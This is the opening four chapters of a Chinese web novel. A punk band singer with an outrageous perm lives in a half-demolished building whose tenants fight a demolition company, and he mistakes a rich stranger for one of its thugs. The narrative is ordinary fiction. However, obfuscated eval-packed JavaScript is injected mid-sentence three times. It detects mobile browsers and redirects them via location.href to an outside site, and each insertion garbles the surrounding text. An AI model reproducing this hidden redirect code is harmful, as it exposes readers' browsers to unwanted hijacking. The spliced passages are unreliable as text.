《七芒星》 1. 第一章 陆延脚踩在弄堂口那块乱石堆起来的小坡上,然后蹲下去,远远地看了一眼店门上那堆贴纸和小广告。 上头歪歪扭扭胡乱贴着‘纹眉’,‘纹身’等字眼,还有几句简明扼要的广告语:一颗头六折,两颗头五折。 不提供特殊服务。 字号最大的那行,是‘欢迎各路牌友切磋牌技’。 他并不在意这到底是棋牌室还是理发店,总之六折折下来洗剪烫全套价格就跟李振那小子说的一样,不超过三位数。 找个理发店的功夫,李振已经给他发了不下十条消息。 李振:延哥你找到地儿了吗。 我在群里发了定位,你要是摸不着记得看啊。 别再一味地相信你那离奇的方向感以及第六感。 你到了吗? 到了吗? …… 陆延弹弹烟灰,回复过去一条。 -到了,够偏的。 不仅偏,这片的规划更是让人捉摸不透,脚下这堆来历不明的石头块指不定是哪儿维修施工后遗留下来的废料。 再往远处看,是附近工厂那几根高耸入云的大烟囱。 化工废气不断往外冒,灰蒙蒙的飘在半空。 陆延把剩半截的烟凑在嘴边吸了一口,脑子里酒吧老板的话反复在耳边绕‘对于你们这次的演出,我有那么一点小小的要求和建议……’。 小要求。 建议。 他觉得自己现在能蹲在这真挺了不起的。 又蹲了一会儿,他才把烟往地上扔,从石头堆上下去,用脚尖把烟头给碾灭了。 面前那家理发店小得出奇,只占了半个店面,还是用隔板勉强划拉出来的半间。打牌用的牌桌比剃头的工作区还宽。 陆延低头迈进门的时候,里头那桌人还在瞎嚎:“两个圈。” “三带一。” “他妈的,炸!” 这里面突兀地夹着一个声音:“师傅,烫头。” 这帮人看来是没少经历这种临时散局,不出三分钟人都走没影了。 剩下一位染着黄色头发、杂乱的卷毛上还别着俩塑料梳的店长大哥。 “你来得倒是挺巧,再打下去就得输了,”店长把牌桌收起来,立在墙上,继续用带着严重口音的方言说,“最近这手气是真他妈的差……” 店长说着忙里偷闲往门口瞅了一眼,出于职业习惯端详起对方的外形。 第一印象就是邪。 说不出哪儿邪,总之浑身上下透着股邪气。 从门口进来的那人穿着件深色T恤,上头印的图案看着像某个英文字母,很张扬地在眉尾处打了俩眉钉——不像什么正经人。耳朵上虽然没挂什么东西,能看见一排细密的耳洞,七八个,耳骨上也有。 腿长且直,头发也挺长。 逆着光看得不太真切,身后还背了个黑色的长条形吉他包。 陆延把吉他包放下,说出一句跟他外形不太相符的话,砍价砍得相当利索:“谢就不用了,等会儿算我便宜点就行。” 店长也是个爽快人:“成,想烫个什么样的?” “等会儿,我找张图,”陆延低头翻聊天记录,往上划拉几下,“照着烫。” “不是我吹,这十里八乡的,找不出第二个像我这样的好手艺,甭管什么发型,我都能给你剪得明明白白。” 店长吹自己越吹越带劲:“给我张参考,保证剪得一模一……” 他说到这,陆延图片正好调出来。 店长的声音戛然而止。 那是一个具有强烈视觉冲击的造型。 又红又紫,发量爆棚,刘海遮着眼睛,一半头发还极其狂野地高高立起,像冲天火焰般立在头顶。每一根离奇的头发丝都彰显着图片上模特的气质——杀马特。 陆延这发型做了超过四个小时,出门的时候天都黑透了。 费了两罐发胶,被吹风机轰得头疼。 这期间脑子里还不断循环播放一首歌:杀马特杀马特,洗剪吹洗剪吹吹吹。 他闻着染发剂刺鼻的味儿,打开手机前置摄像,借着门口那根三色柱发出来的光又粗略看了一眼,还是没忍住低声骂了一句脏话。 图片参考变成实物,顶在他头上的效果远比想象中震撼。 这啥。 这他妈啥玩意。 走在路上还不得变成整条街最拉风的神经病? 陆延跟相机里的自己互相瞪了一会儿,然后他按下开关键,把屏幕摁灭了。 三色柱一圈圈转着。 边上还摆着个大喇叭音箱,声音从老旧零件里流过,渡上刺刺拉拉的杂音,放的也是首老歌。 ——“原谅我不羁放纵爱自由”。 大喇叭唱到一半,刚暗下去的屏幕陡然间又亮起来。 李振:你烫完头了? 真烫了? 不是当钳哥的面说打死不烫爱谁谁想找别的乐队就去找反正老子不干吗。 你可真是能屈能伸。 你现在回哪儿?酒吧今晚不营业,钳哥让我转告你一声,演出挪明晚了,他让你好好保持你现在的造型。 要不你现在挑个好角度自拍一张给哥们瞧瞧? 陆延懒得打字,凑近手机发过去一条语音,气笑了:“我还得保持造型?” 说完,他松开手。 想了想又再度按在语音键上。 “拍个几把,”陆延说,“老子现在心情很差。” 这几年他组了个乐队,商业活动就是去酒吧驻驻唱。 他那天在酒吧后台确实对着孙钳拒绝得很彻底。 这玩意,谁烫谁傻逼。 …… 但人有时候是需要向生活低头的。 陆延把手机揣兜里走出去两步,那音箱又唱:“风里追赶——雾里分不清影踪——”。 他听着歌,回忆出门前理发店老板的那个眼神,分明在说:好好的一个人,怎么审美有问题。 这小区离他住的地儿挨得很近,走路十几分钟就能到。 离得近也意味着环境差不多,都拥有较低的文明指数、总是让人捉摸不透的规划建设以及不怎么良好的治安。 路边开的店也都跟开着玩儿似的。 几家餐饮店仿佛都写着:无证经营、食品卫生不合格、你要不怕地沟油你就来。 网吧更是就差没挂个牌子说自己是黑网吧。 荣誉当然也是有的,去年刚被评选为2018传/销重点整治区域——厦京市生存法则第一条,遇到下城区的人得绕着走,十个里准有八个不是什么好人。 想什么来什么。 陆延刚穿过那条餐饮街,走到小区门口附近,就看到五米远的路灯下并排坐了两个人。 天色已暗,路灯把两人的影子拉得很长。 其中一个拍拍另外一个的肩。 “兄弟,我知道,一个人带孩子不容易。我也是跟我老婆离婚了,孩子归我。日子是辛苦了点,可我们做男人的,责任总得扛,每次回到家里,看到孩子的睡着时的样子,我才觉得——就一个字,值了!这点苦又算得了……” 另一个情绪低落地说:“哥,那是两个字。” “甭管是一个字还是两个字,总之,我懂你。我知道你现在的心情,我曾经也跟你一样不好受。” 说话的这个人,身上穿了件灰色工装,不知道是衣服本身就是这个颜色,还是穿得时间长了折腾成这样,样貌普通,脸上有道从眼角蜿蜒至耳后的刀疤。 陆延脚步一顿。 然后他走上前几步,不动声色蹲在两个人身后。 像个背后灵一样。 那两个人说话说得投入,倒也没发现有什么异样。 等刀疤说完,情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727103|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪低落的那位拼命点头,仿佛找到了知己,操着一口外地口音说:“系啊,真是不好受,她说走就走,根本么考虑过俺的感受,孩子是俺一个银的吗!” 等对方诉完苦,刀疤眯起眼,话锋一转,又道:“但哥现在站起来了,哥掏心掏肺跟你讲,男人最重要的还是事业成功,我现在手头上有个生意,你只需要投资这个数……” 刀疤五根手指头刚伸出来,身后不知道哪里来的一股力量,硬生生把他五根手指往后撅! “谁啊!哪个狗东西,找死啊!”刀疤喊着,扭头往后看。 除开那头夸张至极的造型,姹紫嫣红的非主流发型底下的那张脸他熟得不能再熟——男人眼眸狭长,双眼皮深深的一道,眼尾上挑,很凌厉的长相,带着不知道从哪儿来的邪性。那张脸不说话没表情的时候自带一种“老子要打人”的感觉。 “陆延?!” “是我,”陆延笑着跟他打招呼,手上力道却分毫不减,“刀哥,几个月不见,身上伤养好了?看你挺精神啊,上次骗别人投钱买什么龙虎丹,这次又是什么?说来听听,我也跟着发发财。” 这句话一出,边上那个外地口音哪里还能不知道自己差点就中了计。 陆延看着他:“你不是这的人,新来的?” “俺、俺老家青城的,来这打工……” “青城,好地方,”陆延说着又想抽烟,低头去摸口袋,抬眼看那人居然还杵在跟前不动,“愣着干什么,跑啊。” 那人这才反应过来,手脚并用地站起来往马路对面跑了。 刀疤眼都急红了:“哎兄弟你回来……陆延你他妈放手!” 等人跑远了,陆延这才松开点力道。 刀疤手指被撅得狠了,一时间动不了,陆延跟没事发生过似的顺势在他手掌上拍了一下,“啪”地一声来了个击掌,又把刚才摸出来的烟往刀疤手里塞:“刀哥,来根烟?” 刀疤心里真是卧了个大草。 上来就撅人手指头。 撅完轻飘飘来个击掌,还抽烟,这是人能干出来的事吗,要脸不要了。 “挡人财路如同杀人父母,不好好唱你的歌,三番两次搅我局,我告诉你这事儿我跟你没完。” 刀疤气得声音都开始抖,但他还是接过烟,把烟咬在嘴里,从路边台阶上站起来,揉着手指头边说话边转身,结果发现挡他财路的脸上写着“老子要打人”的那个人已经离他三十米远。 他声音抖得愈发厉害,把嘴里那根烟都抖掉了:“你还跑!?有种挑事就别跑!!” 陆延背着吉他包,路灯灯光直直地打在他头上,那团高高立起起码有二十厘米高的红紫色火焰在强光的照射下,每根头发丝都被照得透亮。 他高举起手,几根手指在空气里去轻飘飘地来回荡了两下:“走了刀哥。今天还有事儿,下次再跟你叙旧。” 刀疤骂骂咧咧一阵,把烟扔地上踩,奋起直追。 但他那两条腿迈出去两步都不一定能有前面那位跨一步的距离宽,两人硬件上差距太大。刀疤追了半条街追不动了,想想事情闹大对他也不好,于是停下来叉着腰喘气道:“叙个屁的旧,滚滚滚赶紧滚!” 陆延这才放慢脚步,从十字路口右边拐了进去。 前面不远就是第七小区,简称七区。 这片取名取得都相当随意,小区名字直接按照先后顺序取名,不过现在说它是小区实在有些牵强——厦京市怎么说也发展成新一线城市了,这片瞅着跟平民窟似的下城区实在是有碍形象,于是前几年出台政策,鼓励私人企业收购开发。 七区拆得已经差不多,周围全是残垣断壁,水泥钢筋土块垒出无数座“坟包”。 然而就在这么个狼藉又荒凉几乎已经被夷为平地的地方,有一栋……不,半栋楼突兀地立在那里。 楼侧写着: ——六号三单元。 2. 第二章 陆延上楼没多久,门被人敲得哐哐响。 “延哥,延哥你在家吗!” “哥!” “哥你理理我!” 他正在换衣服,手搭在皮带上,牛仔裤拉链解到一半,又拉了回去:“张小辉你什么事。” 门外还要继续敲的男孩子见门开了,手没来得及收。 男孩子年纪挺小,不过十七八岁,脚上蹬的是一双坏了的人字拖,尽管脱了胶、依然被他穿得收放自如,他挠挠头,把手里头叠成豆腐块一样的东西递过去:“是这样,今天楼里开了个会,这是张大妈从医院里托人带回来的,老人家一点心意。开会的时候你不在,明天拆除公司可能还得来一趟……我去,你这个发型!” 他说着比个大拇指:“贼酷。” 张小辉话没说错,虽然这发型确实非人类,那冲天扫帚搁谁头上都能丑出新境界。但陆延就不是一般人。 他还记得他两年前刚搬进这栋楼里的时候,那会儿正好快到中秋,就准备了几盒月饼送邻居,从一楼挨家挨户送到顶楼,敲开602的门,见到陆延第一眼都有点傻了:长发,眉钉,一排的耳环,身上有种极其另类又夹着反叛的尖锐感。 然后长发男人眯起眼睛看他,嘴里吐出一口烟:“新来的?” 这口烟吹得他忘了自己是来干什么的。 现在那个男人的长发已经变成了颜色靓丽的冲天扫帚头。 张小辉又说:“延哥,你是不是在玩快手?” 陆延额角‘突’地跳了一下。 张小辉深知大家出来讨生活都不容易,于是鼓励道:“最近葬爱家族挺流行的。你又有才艺又有颜值、肯定能脱颖而出,称霸快手指日可待。” “小辉,”陆延看了他一会儿,冲他勾勾手,“你过来一下。” 张小辉隐约觉得危险:“我、额,我那个我突然想起来我还有点事。” “你有没有脑子,”陆延指节曲起,在张小辉脑门上弹了一下,不轻不重,“老子这气质能是玩快手的?” 张小辉捂头:“不不不不能,我错了延哥。” 陆延作势又要弹,等张小辉闭上眼,这才张开手,轻飘飘地搭在他肩膀上:“行了,谢谢你跑一趟,明天我基本都在,他们是要敢来——” 张小辉猜陆延下半句要说什么,脑子里过了八句话,结果还是没猜着。 陆延说:“……我就干他们。” 这栋楼邻里关系奇特,大家都是提前预付了下一年房租的租客,结果突然说小区被某家大公司买下要改成工厂,房东却一声不吭拿着房租和赔偿金跑了。 本来只是房租的事儿,但那家大公司派过来谈事的人态度奇差,没说两句话就动手,把住一楼的张大妈推在地上推进了医院。 梁子就这么结下了。 要想比谁更难搞,这群常年住在低廉出租房里的人还从来没输过。 本来定在晚上的演出推到了明天,陆延回来放个吉他包就出发去酒吧的计划被打乱。他躺在床上打算睡觉,为了不碰到那个发型还得跟床板保持距离,就这样憋屈地睡了一晚。 次日清晨。 跟其他地方不同,七区拆除之后附近已经没有餐馆,即使是早上,摆摊卖早餐的流动摊位也不来这儿发展业务。整个七区瞅着跟无人区似的。 陆延睡得早醒得也早,不到六点就起来泡泡面,往水壶里加上水,等水烧开的间隙背靠灶台,忽然想到某段旋律,手指有一搭没一搭在瓷砖上敲着。 另一只手推开身侧的窗户。 虽然这片环境不好,尤其是他们这个小区。但从他现在这个位置刚好能看到太阳从地平线升起,光芒把半片天染成通透的红色。 陆延看了会儿,把目光收回来,还是那个下城区,废墟也还是那堆废墟……他的目光里撞进了一辆车。 七区门口已经被拆得七零八落的拱门前停着辆银灰色跑车,改装过的,车尾巴改得骚气十足,看那架势仿佛都能往天上开。 这是辆不太可能出现在这里的车,附近大马路上横行霸道的除了小电驴就是二手车,整辆车从车灯到车屁股都透露出‘格格不入’这四个字。 张小辉昨天说什么来着? ——“明天拆迁公司的人可能还会来一趟。” 来得够早的,陆延心想。 楼里住户大都早出晚归,各行各业,干什么的都有。 这个点楼里人走得基本上差不多了。 陆延最后看了一眼,确定只有这一辆停在这里,后面没再跟辆大铲车什么的,构不成威胁。他嘴里哼着调,移开视线,盯着从锅里冒出来的氤氲热气,指节敲在冰凉的瓷砖上。 陆延屈指在瓷砖上敲着敲着灵感来了,手也有点痒,于是把架在墙上的吉他取了下来。 他住的地方是间小单间,二十来平,几件家具以不可思议的姿态挤在一起。 二十来平里更多的空间用来放乐器,几把吉他、不知道从哪个二手市场里淘来的电子琴,以及各式各样的CD唱片。 正在烧热水的乐团主唱陆延抱着吉他,插上电,从上到下扫了一下弦。 然后照着嘴里哼的调又扫了第二下。 他没注意到楼下那辆看着会飞的车熄了火,半分钟后车门开了。 从车上下来一个人。 那人手腕上戴着块表,身上穿的是件做工考究的黑衬衫,镂空的盘面上镶了圈钻,衬衫袖口很随意地折上去几折,露出的半截手腕。折上去衣袖上沾着不明污渍,米白色的一小块,被黑色衬得很明显。 “老大,你真要进去啊,”车窗降下,从驾驶位上钻出来一颗脑袋,脑袋的主人染的是一头抢眼的红头发,红头发左看看右看看,唏嘘道,“我还是头一回来这个区,这是人住的地方吗,危楼吧这是,瞅着都快塌了。” 面前是半个拱门,破的。 门卫厅,拆没了。 脚下的路也没几步是平坦的。 总之哪儿哪儿都破。 …… 下车的那个只是看了一眼周遭环境,没红头发表现得那么夸张,他甚至没什么情绪。 不过看起来心情也不太好。因为他摸出来一盒烟,低下头,直接用嘴咬了一根出来,但是很明显,这种烦躁和面前这堆废墟无关。 “火。”肖珩咬着烟说。 红头发秒懂,立马掏出打火机,啪嗒一声点上,双手捧着从车窗伸出去:“这儿呢!” 肖珩弯腰凑过去,把烟点上了。 烟雾在红头发面前袅袅升起。 红头发给人点完烟,把打火机往副驾驶座位上扔,两只手又去把着方向盘,他像摸女人似的在上面来回摸了几下:“你这辆车真行,男人的终极梦想,妈的开着太爽了!老大,我能在附近再开两圈吗?” “翟壮志。” 猝不及防听到自己的名字的红头发:“啊?” 肖珩又说:“滚。” 翟壮志:“……” “滚去找找附近有没有超市,”肖珩抽着烟走出去两步,补充道,“然后买罐脱敏奶粉再滚回来。” “大哥你说话不要说一半。”翟壮志拍拍胸口。 肖珩走到那半栋楼楼下,这栋楼不知道到底是什么构造,好像有人在门口打过一架,出入门整个都歪了,一推就开。 他摊开手,掌心里是张纸条,纸条上写着:和谐小区六号三单元,601室。 “老大,你刚才说什么奶粉来着?”翟壮志开出去五百米远,又给肖珩打电话,“托米?是个外国牌子?” “脱敏奶粉,过敏的敏。”肖珩把还剩大半截的烟掐灭了。 “我去,”翟壮志踩一脚油门,“那小不点喝普通奶粉还会过敏啊,我哪里能想到奶粉还有那么多讲究。你才带了那孩子几天,就懂那么多……” 肖珩挂了电话。 翟壮志咋咋呼呼的声音消失在耳边,但世界并没有因此变得清静,因为与此同时,从楼上传下来一段琴声,失真的效果听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727104|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来非常激烈,穿透力极强,生生把空气劈成两截。 电吉他。 只是实力跟硬件完全不匹配,弹得磕磕巴巴,堪称魔音入耳,中间夹着杂音、还有手指没按稳时拨出的沉闷的错音……如果玩吉他还分等级的话,现在在弹的这个人可能连评选资格都没有。 这弹得也太烂了。 狭窄的楼道里贴满了小广告,还有用红色喷漆胡乱喷的涂鸦,那种下城区独有的粗俗从墙皮裂缝里无声地冲出来。 同样冲出来的还有杀伤力越来越猛烈的琴声。 肖珩走到六楼,烂出新境界的琴声离他太近,只跟他隔了一堵仿佛并不存在的墙。 紧接着琴声转变成一段点弦,大概是想炫技,但是完全没炫出来。 “……” 琴声停了两拍,肖珩在错开的那段空白里听到几句并不太清晰的哼唱声。 男声。 音色居然还不错,唱得调也准,比吉他强多了。 陆延弹完最后一个音陶醉地闭上眼睛,感受余音绕梁,缓足三秒才睁开。 他轻轻甩了甩左手手腕,在手写的谱子上改了几个音,然后把吉他挂回去,将开水倒进泡面桶里,顺手拿碗压着。 他对着那张已经被改得面目全非的谱子看了会儿,打算取个名,于是拿笔在最上面写下两个字:飞翔。 感觉不对。 划掉。 他又写:飞吧少年。 ……? 也不太行,是来搞笑的吗。 划。 接连划了四五个,最后顶上只剩三个张扬随意的大字:没想好。 他把这张纸拍下来,给李振发了过去。 防止李振不能第一时间看见,陆延又在表情包收藏栏里找了十几个表情一并发过去,这种骚扰行径做得简直得心应手。 “陆延!你大爷!”李振的电话很快就来了。 陆延说:“别总问候我大爷,我大爷挺好的,身体健朗吃得好睡得香。” “……”李振崩溃道,“这才几点啊,我正睡觉呢让你给我滴醒了!” “新曲子你看了没。” 李振又是崩溃又是好奇:“你等会儿,我现在就看。” 这不看还好,一看更崩溃。 “这啥玩意儿,你这写得都是些啥……跟你说多少次了你写成这幅鬼样子没人能看得懂,咱能好好写字吗,妈的我瞅瞅,我他妈就瞅得清个名字!”李振说话声儿越来越响,再往上努力努力都可以去唱高音了,“名字还叫没想好!” 陆延摸摸脖子:“看不懂啊,那我弹一遍给你听?” 李振那头是死一样的沉默。 老实讲陆延写歌的水平是很可以的,努力型和天赋型,他绝对是第三种——又努力又有天赋的那个。作为主唱,歌唱得也不赖,他们乐队能在这片地区称霸、人送外号‘魔王乐队’不是没有道理。就是每次陆延都发些让人看不懂的草稿,那草稿草得,不听他弹一遍根本理解不了……但他弹琴,是真的难听。 李振彻底清醒,睡意全无。 “我刚没睡醒,”李振解释说,“延儿,我觉得你这个谱子虽然看似复杂,其实不然,是我刚才没有用心去感受。” 陆延:“那你再感受感受。” 李振:“行,我再感受感受。” 撂电话后陆延把纸折起来,贴在冰箱上,正打算掀开泡面,突然间想起来他拿着盖泡面的碗是前几天问隔壁借的。 隔壁住的是个独身女人,长头发,搬过来不到半年时间,陆延连她名字叫什么都不知道。女人平时不怎么说话,白天不知道什么时候出门,晚上回来得比他还晚,基本上碰不上面。 陆延打算先把碗给还了,免得一扭头又把这茬给忘了,他出门前顺便从果盘里挑了几个橘子搁碗里,然后拉开门—— 在他们这栋破楼里。 在六楼狭小的楼道内。 这个点,这个时间,站着一个非常可疑的,男人。 3. 第三章 除了可疑之外,陆延看他第一眼脑子里冒出来的另一个形容词是“贵”。面前这个男人从头到脚都讲究得很,垂着眼看人的时候有种说不上来的冷淡,那是一种仿佛不把任何东西放在眼里的眼神,挺嚣张的,也挺欠打。 至于“贵”具体怎么形容,大概就是李振经常说的:能把十块钱地摊货穿出十万块钱的气质。 陆延一下子把他和刚才楼下那辆银色改装车联系到了一起。 那辆车他的? 哪家跑出来的大少爷? 拆除公司老板儿子? 这次过来带了多少弟兄?是不是想打架? 陆延脑子里在高速运转。 ……只是两人看起来,陆延更像可疑的那个。 由于保护得当,陆延那颗颜色丰富、造型狂野的杀马特发型依旧完好如初,昨天抹的发胶到今天还很坚/挺,神似火焰的扫帚头依旧高高立着。 他这个造型,冲击力比刚才的吉他声还强。 狂野丰富的陆延站在门口,率先打破沉默:“你谁啊?” 男人说:“我找人。” 陆延脑子里把住在这层楼里的人都过了一遍,对找人这个说法持怀疑态度。 楼里的住户跟‘富豪亲戚’这四个字实在是八竿子打不着,除开孤儿寡母就是些极品穷亲戚,楼下有个女孩子前几天还被她亲妈千里迢迢追过来扇了两巴掌,就因为那姑娘不肯出钱给她弟买房。 “找谁?六零几的?”陆延问。 “601。”虽然没表现出来,但那人明显开始不耐烦。 “你找红姐干什么?”陆延胡诌了一个名字,在翠花和小红之间犹豫两秒。 “……”男人说,“你管这么多?” “她出门了,”出乎意料地,陆延没再问下去,侧身道,“估计过会儿回来,你怎么称呼?” “我姓肖。” 陆延点点头,不动声色地把手机掏出来,点开微信,找到和张小辉的对话栏:“行,我给她打个电话通知一声,你先上我家坐会儿?” “谢谢,”肖珩语气也缓和下来,“我站这等……”就行。 只是他话还没说完,直接被陆延反手摁在墙上! 陆延用一只手禁锢住对方的手腕,将他整个人强迫性地背过去,肖珩的脸就跟楼道墙壁上那行红色涂鸦来了个亲密接触。 红色涂鸦画的是只长着獠牙还带翅膀的不明物体,肖珩再往上抬抬眼刚好对上不明物体的眼睛,两个圆圈。 ○。○ 然后陆延把另一只手里拿着的东西松开,哐地一声,碗和橘子直接落在地上。 他丝毫不给对方反应的机会,手肘抵上肖珩脖侧。陆延手臂上本来就没什么肉,线条紧实,手肘处突出的那块骨结卡在人脖子上硌得人生疼。 两人身高差不多,从陆延这个角度能看到男人隐在衬衫布料底下的一截后颈,他凑近了说:“哪有什么红姐,我都不知道隔壁那姑娘叫什么,随便拿个名字唬唬你还真让我给套出来了。看你人模人样的,怎么也干这种事。” 肖珩八百年不骂脏话,脏话都让他给逼出来,扭头道:“你他妈有病?” 他说完,深吸一口气:“我确实不知道她叫什么,但我真的找她有事。” 两人贴得很近。 近到连对方的呼吸声都听得清楚。 刚才在楼道里肖珩一直没拿正眼瞧这人,这下瞧仔细了,除开那头夸张的发型,那张脸长得意外地不错。 这个不错主要来源于,即使烫了这么杀马特的头看起来也离丑还有段相当遥远的距离。 然后杀马特张口道:“有事?是想切电路还是砍水管?” 杀马特又问:“你这次来带了多少弟兄?” “……” “放手。” “放你妈。” “喂,杀马特,”肖珩气笑了,“我最后说一次,放手。” “……杀什么,”陆延也气笑了,“你再说一遍?” 肖珩放缓说话速度重复了一遍:“杀、马、特。” “碍,”陆延拖长了音,流里流气地说,“听话。” 陆延只是想把人控制住,防止他在其他住户赶回来之前逃跑,上次拆除公司来那一趟过后张大妈的医疗费都是大家凑出来的,整件事还没个说法。 他并不想用暴力解决问题。 人生在世,在这个社会上摸爬滚打经历的多了,轻易不动手,只动嘴。 陆延一开始是真没把这个大少爷模样的人放在眼里,看着这位少爷,他有种老子在江湖上闯荡的时候估计你还在家里喝奶的感觉。 让他一只手都翻不出什么浪。 然而就在这个时候,本来被他紧紧压制着的人突然发力,局势瞬间颠覆,被摁在墙上跟红色涂鸦眼瞪眼的人就成了陆延。 ……我操。 陆延感到意外。 还挺能打的? 肖珩觉得自己脑子里那根叫‘理智’的神经已经濒临断裂的边缘,他把那股烦躁强压下去,试图再跟这位杀马特进行沟通:“听着,你可能误会……” 话没说完,楼下哐当一声。 那扇不需要门禁卡的出入门又不知道被谁推开了,动作还很粗暴,楼道里回响着撞击发出的声音。 紧接着,是一句更粗暴的脏话。 “操他妈的,”是个嗓音沙哑的男人,那人嗓子里仿佛含着口痰,“给我拆!把电闸给我拆了!电路切了!” “楼里没人了吧?” 另一个人回:“没什么人,派人进来探过了,都上班去了。” “那就行,”那人阴恻恻地笑了声,“我还就不信了,这回治不了他们。” “……”肖珩头一回知道什么叫跳进黄河也洗不清。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727105|189507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆延在和面前这位可疑人士扭打之前就给张小辉发了微信,只发过去三个字“有情况”,他不知道三单元有多少住户接到消息在往回赶。 事实证明速度相当迅速,人数也不少。 率先进楼的是个脖子上带条大金链子的男人,炎炎夏日,他身上只穿了一条花裤衩,风一样的速度,气势比拆除公司那帮人强多了。 大金链子:“我看谁看动这电闸一下!我要他狗命!” 三单元广大人民群众的速度可以说是风卷残云,连手无缚鸡之力的张小辉都干倒一个。十分钟后,那帮打算来拆电闸的人跟白菜堆似的撂在楼外,其他人将他们团团围住,嘴里喊着口号: “齐心协力,一致对外。” “燃烧我们的热血!点燃我们的激情!” “跟我喊,拒绝强拆!” “拒绝强拆!” “……” “六号三单元!就是不要脸!” “不要脸!” 乌泱泱二十来个人聚成半个圆圈,高高举着拳头,每喊一下就往天空高举一次,不知道的还以为是什么邪/教聚众现场。 陆延站最前面,鹤立鸡群。 是里头最邪门的那个。 大金链子在陆延边上,手里拿的是地上随手捡的树枝:“都给我蹲好了!” 大金链子:“你们几个,啊,还真是死不悔改……人之初性本善,做人最重要的就是善良,是什么让你们走上人生歧途?说你呢,把头抬起来。” 张小辉站在他身后狐假虎威,结结巴巴道:“说、说、说说说你呢!” 陆延没说话,他想摸自己口袋,结果发现只有打火机没带烟,于是极其自然地去摸金链子身上穿的那条花裤衩,从裤兜里摸出来一盒大前门。 他从烟盒里抽出来一根。 “你,”陆延叼着烟蹲下身,视线定在白菜堆里最显眼的那个人身上,又‘啧’了一声,“投降还是认输?” 大少爷最后一丝修养耗尽,黑着脸送他一个字:“滚。” “怎么说话呢,”陆延说,“有没有素质。” 这次大少爷连一个字也不赏了。 这时,白菜堆另外一个人想说话:“那个……” 陆延:“你闭嘴,没你事。” 那个人还是想说点什么:“不是……” 陆延抖抖烟灰:“都让你闭嘴了,闭嘴听不懂?” 张小辉有样学样,只是毫无气势可言:“闭、闭闭闭嘴听不懂?” “不是,”那个人意外地坚持,他缩缩脑袋,指指边上的人。 一身贵气。 冷脸。 还有那块看着就价值不菲的手表。 他们威震天拆除公司根本就没有这号人物!!! 他非常疑惑地爆发出一句质问:“这个人,他谁啊!” 陆延嘴里的烟呛了呛。 4. 第四章 陆延除了被自己嘴里那口烟呛到,还被姓肖的那辆改装车车尾气报复性地熏了一脸。 大金链子跟着陆延一道追出来,站在七区门口望着那辆驶向远方的车,车尾翼瞅着跟对翅膀似的,他用胳膊肘碰碰陆延:“怎么回事老弟,你逮错人了?” 陆延心情也很操蛋。 逮错人了? 还真是误会? “伟哥,”陆延回想起刚才楼道里那段争执,觉得尴尬以及对无辜人士感到抱歉,虽然无辜人士非常不懂礼貌,一口一个杀马特。 他把手上的烟灭了,叹口气,对大金链子说,“你车借我用用吧,我追上去跟人道个歉。” 伟哥身上如果有刺的话,在听到‘车’的时候绝对已经炸开了,每一根都紧张地立起来:“别的事情哥什么都能答应你,车不行!” 陆延说的车是辆摩托车。 伟哥是楼里老大哥,在收债公司上班,平时干的都是刀尖舔血的生意,右胳膊上纹着方方正正的四个大字“欠债还钱”,七区没拆之前在民众自发组织的妇女联合委员会里任职,刚柔并济一男的,在楼里颇有威望。 那辆摩托车伟哥为数不多的资产里最值钱的一样。 黑色,地平线外观,配四缸发动机,他平时都拿那辆车当儿子疼。 陆延说:“是不是兄弟。” 伟哥怒不可支:“你上次开出去差点把我车给创了!” “差点,那不是没创吗。” “等创上那还得了!真创上你现在就不会在这了,你坟头草估计都能长两米了。” 陆延直接去拿伟哥系在腰间的钥匙:“我这次绝对稳开稳打,时刻牢记生命诚可贵,我伟哥的车价更高……谢了啊。” “说真的,”伟哥想到上次那次‘车祸’,“你那天什么情况,我眼睁睁看着你差点往墙上撞。” 陆延这会儿不说话了。 他低垂着眼,目光聚在那串钥匙圈上,半响才笑笑说:“手滑。” 伟哥拿他没辙,又说:“你知道他们往哪儿走了吗你就追。” “去市区的路就那么几条,”陆延用手指勾住钥匙圈,边走边把钥匙圈转得丁零当啷响,“碰碰运气。” 事实证明陆延运气不错。 那位少爷肯定是头一次来这,十有八九车上开着导航,他本来打算按照导航推路线,结果没开几段路就看到了那辆眼熟的改装车……还有车后50米处那个三角警示牌。 肖珩觉得他今天出门肯定是没看黄历,不然怎么能够在短短十几分钟里给他制造出那么多惊喜。 “老大,”翟壮志小心翼翼地说,“这车真抛锚了?” 肖珩:“它也可能只是跑累了,休息一下。” 翟壮志摸摸鼻子,知道自己问了一个蠢问题:“那拖车什么时候到?” “半小时吧。”肖珩抬手按着太阳穴说。 这地方前不着村后不着店,左手边是老旧的住宅区,右手边是一片荒废了的果园。 